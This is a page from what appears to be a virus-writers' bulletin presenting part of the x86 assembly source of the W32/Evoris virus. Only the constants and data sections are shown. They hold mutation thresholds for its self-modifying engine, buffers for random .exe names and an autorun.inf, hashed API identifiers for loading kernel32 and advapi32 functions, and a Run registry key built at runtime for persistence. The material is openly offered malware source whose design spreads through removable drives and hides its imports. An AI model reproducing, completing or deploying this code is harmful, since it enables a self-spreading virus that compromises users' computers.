Virus-writing Bulletin

Presents!

W32/Evoris

-
. ● glósóli ● .

See also:
; ############################################################################
; ############################################################################
; #####
; ##### CONSTANT DEFINITION
; #####

  AminoStartInMap	EQU 0x400+(StAmino-start)
  AlphabethStartInMap	EQU 0x400+(StartAlphabeth-start)

  ; One out of n bytes will be changed: 7 > n > (2^32 - 1)


  VarThreshold1 EQU 5417	  ; 87.5%

  xchgThreshold1 EQU 39155	  ; 25.0%

  InsertThreshold1 EQU 0x05	  ; 20.0%

; #####
; ##### CONSTANT DEFINITION
; #####
; ############################################################################
; ############################################################################




; ############################################################################
; ############################################################################
; #####
; #####   DATA
; #####

DataOffset:
	Place4Life	dd 0x0
	RandomNumber	dd 0x0

			db 0x0
	   Driveletter1 db 0x0
			db 0x0, 0x0	 ; buffer for ":\"

	RandomFileName: times 8 db 0x0	 ; buffer for random filename
	   rndext:	times 4 db 0x0	 ; .exe
			db 0x0

			db 0x0
	   Driveletter2 db 0x0
			db 0x0, 0x0	; buffer for ":\"

	   autoruninf:	times 11 db 0x0
			db 0x0


			db 0x0
	   Driveletter3 db 0x0, 0x0, 0x0     ; buffer for "C:\"

	   virusname:	times 8 db 0x0	     ; virus filename at C:
	   virext:	times 4 db 0x0	     ; .exe
			db 0x0

	FileHandle	dd 0x0
	MapHandle	dd 0x0
	MapPointer	dd 0x0
	FileSize	dd 0x0

	stDLLkernel32: times 12 db 0x0
		      db 0x0
	stDLLadvapi32: times 12 db 0x0
		      db 0x0

	hDLLlibrary32  dd 0x0

	hAddressTable dd 0x0
	hNamePointerTable dd 0x0
	hOrdinalTable dd 0x0

	APINumber dd 0x0

   APINumberKernel EQU 12
   APINumberAdvapi EQU 2


	hMagicNumberPointer dd 0x0
   APIMagicNumbers:
	mCloseHandle dd 0x0F05
	mCopyFileA   dd 0x03E6
	mCreateFileA dd 0x03FF
	mCreateFileMappingA dd 0x06F3
;        mCreateProcessA   dd 0x00EC
	mGetDriveType	  dd 0x0B2F
	mGetCommandLineA  dd 0x0D14
	mGetFileSize	  dd 0x0705
	mWriteFile	  dd 0x0AC8
	mGetTickCount	  dd 0x060C
	mMapViewOfFile	  dd 0x0DEA
;        mSleep            dd 0x006F
	mUnmapViewOfFile  dd 0x00F4
	mSetErrorMode	  dd 0x0923

   APIMagicNumbersReg:
	mRegCreateKey	  dd 0x0731
	mRegSetValueEx	  dd 0x0AE6
;        mRegCloseKey      dd 0x05F4



	hAddressePointer dd 0x0
   APIAddresses:
	hCloseHandle dd 0x0
	hCopyFileA   dd 0x0
	hCreateFileA dd 0x0
	hCreateFileMappingA dd 0x0
;        hCreateProcessA   dd 0x0
	hGetDriveType	  dd 0x0
	hGetCommandLineA  dd 0x0
	hGetFileSize	  dd 0x0
	hWriteFile	  dd 0x0
	hGetTickCount	  dd 0x0
	hMapViewOfFile	  dd 0x0
;        hSleep            dd 0x0
	hUnmapViewOfFile  dd 0x0
	hSetErrorMode	  dd 0x0

   APIAddressesReg:
	hRegCreateKey	  dd 0x0
	hRegSetValueEx	  dd 0x0
;        hRegCloseKey      dd 0x0



	xchgBuffer dd 0x0

	InsertA    dd 0x0
	Insertx    dd 0x0
	Inserty    dd 0x0
	InsertWrt  dd 0x0

	stSubKey: times 46 db 0x0 ; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
				  ; will be created at runtime

	hRegKey dd 0x0

	AutoStartContentStart: times 51 db 0x0
	AutoStartContentEnd:


StartUp_struct:
  StartUp_struct_cb		 dd 0
  StartUp_struct_lpReserved	 dd 0
  StartUp_struct_lpDesktop	 dd 0
  StartUp_struct_lpTitle	 dd 0
  StartUp_struct_dwX		 dd 0
  StartUp_struct_dwY		 dd 0
  StartUp_struct_dwXSize	 dd 0
  StartUp_struct_dwYSize	 dd 0
  StartUp_struct_dwXCountChars	 dd 0
  StartUp_struct_dwYCountChars	 dd 0
  StartUp_struct_dwFillAttribute dd 0
  StartUp_struct_dwFlags	 dd 0
  StartUp_struct_wShowWindow	 dw 0
  StartUp_struct_cbReserved2	 dw 0
  StartUp_struct_lpReserved2	 dd 0
  StartUp_struct_hStdInput	 dd 0
  StartUp_struct_hStdOutput	 dd 0
  StartUp_struct_hStdError	 dd 0


ProcessInfo_Struct:
  PROCESS_INFORMATION_hProcess	  dd 0
  PROCESS_INFORMATION_hThread	  dd 0
  PROCESS_INFORMATION_dwProcessId dd 0
  PROCESS_INFORMATION_dwThreadId  dd 0


; #####
; #####   DATA
; #####
; ############################################################################
; ############################################################################

Virus-writing Bulletin 2011